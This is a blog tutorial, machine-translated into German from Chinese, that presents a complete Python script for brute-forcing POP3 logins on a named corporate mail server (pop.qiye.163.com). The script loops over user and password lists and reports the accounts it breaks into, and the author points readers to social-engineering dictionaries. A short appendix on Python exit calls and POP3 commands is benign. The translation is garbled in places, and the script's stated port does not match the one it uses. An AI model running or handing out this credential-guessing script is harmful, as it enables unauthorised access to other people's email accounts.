Entsprechend der vom Meister vorgegebenen Aufgabe habe ich ein Unternehmens-E-Mail-Blasting-Skript geschrieben, gefolgt von FTP-, SSH- und anderen Blasting-Skripten.
Lassen Sie mich zunächst über die Gesamtidee sprechen:
Die Gesamtidee besteht darin, das Poplib-Modul von Python zu verwenden, um mit dem Pop3-Server zu interagieren und Ergebnisse basierend auf den erhaltenen relevanten Informationen zu generieren. Das POP3-Protokoll ist nicht kompliziert. Es verwendet auch eine Frage-und-Antwort-Methode, und der Server antwortet auf jeden Fall mit einer Nachricht.
1 richtig
Sys.argv[] wird verwendet, um Befehlszeilenparameter abzurufen. sys.argv[0] stellt den Dateipfad des Codes selbst dar, daher beginnen die Parameter bei 1
2. Lesen Sie dann Informationen aus der Benutzerpasswortdatei ab
3.pop.getwelcome() wird verwendet, um den Antwortstatus des Verbindungsservers abzurufen
4 Dann kommt der Kerncodeteil des Skripts
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
5. Geben Sie abschließend die relevanten Benutzerinformationen aus
Der Skriptcode lautet wie folgt:
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"
Testergebnis:
Erklärung:
Die Benutzerwörterbuchdatei erfordert @ domain.com, ähnlich wie zhangsan@domain.com, lisi@domain.com, wangwu@domain.com. Da ich kein Firmen-E-Mail-Konto und kein Passwort habe, habe ich es nicht erfolgreich getestet. Wenn Sie interessiert sind, können Sie nach relevanten Sozialarbeitshosen suchen.
Anhang:
Was ist der Unterschied zwischen os._exit(), sys.exit() und exit() in Python?
sys.exit(n) beendet das Programm und löst eine SystemExit-Ausnahme aus, die abgefangen werden kann, um einige Bereinigungsarbeiten durchzuführen. Andere sind abnormale Exits Diese Ausnahme wird nicht abgefangen, sie wird direkt beendet. Das Abfangen dieser Ausnahme kann zusätzliche Aufräumarbeiten durchführen. Im Allgemeinen wird dieser Exit
os._exit(n) im Hauptprogramm verwendet, um den Python-Interpreter direkt zu verlassen. Der nachfolgende Code wird nicht ausgeführt, es wird keine Ausnahme ausgelöst und es werden keine entsprechenden Bereinigungsarbeiten durchgeführt Wird häufig zum Beenden von untergeordneten Prozessen verwendet.
exit() sollte dasselbe sein wie exit() in anderen Sprachen wie der C-Sprache
Die Der Vorgang zum Empfangen von E-Mails in Pop3 ist im Allgemeinen:
Verbindung zum Pop3-Server herstellen (poplib.POP3.__init__)
Benutzernamen und Passwort zur Überprüfung senden (poplib.POP3.user poplib.POP3.pass_ )
Mail-Informationen im Postfach abrufen (poplib.POP3.stat)
Mail empfangen (poplib.POP3.retr)
Mail löschen (poplib.POP3.dele)
Beenden (poplib.POP3.quit)
Befehlsstatusbeschreibung der Poplib-Methodenparameter
-------------------------------- ------------------------ ----------- ------------------------ ------
USER Benutzer Benutzername genehmigt den Benutzernamen, wenn dieser Befehl und der folgende Passbefehl vorhanden sind Erfolgreich, es kommt zu einem Zustandsübergang
PASS pass_ Passwort genehmigt das Benutzerpasswort
APOP apop Name, Digest genehmigt den Digest ist MD5-Nachrichtenzusammenfassung
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat None Verarbeitet den Anforderungsserver, um Statistiken zurückzusenden B. die Gesamtzahl der E-Mails und die Gesamtbytes
UIDL uidl [Msg#] Verarbeitet die eindeutige Kennung der zurückgegebenen E-Mail, jede Kennung der POP3-Sitzung ist eindeutig
LIST list [Msg#] Behandelt die Rückgabe der Anzahl der Nachrichten und der Größe jeder Nachricht
RETR retr [Msg#] Behandelt die Rückgabe des vollständigen Textes der durch den Parameter identifizierten Nachricht
DELE dele [Msg #] Der Verarbeitungsserver markiert die identifizierte E-Mail durch den Parameter als gelöscht, ausgeführt durch den Quit-Befehl
RSET rset None Der verarbeitende Server setzt alle zum Löschen markierten E-Mails zurück und macht den DELE-Befehl rückgängig.
TOP top [Msg#] processing Der Server gibt die zurück Die ersten n Zeilen der durch den Parameter identifizierten E-Mail müssen eine positive Ganzzahl sein.
NOOP noop Keine. Der Verarbeitungsserver gibt eine positive Antwort zurück.
Weitere Artikel zum Python-Blasting-Skript zum Erstellen von Unternehmenspostfächern. Bitte achten Sie auf die chinesische PHP-Website!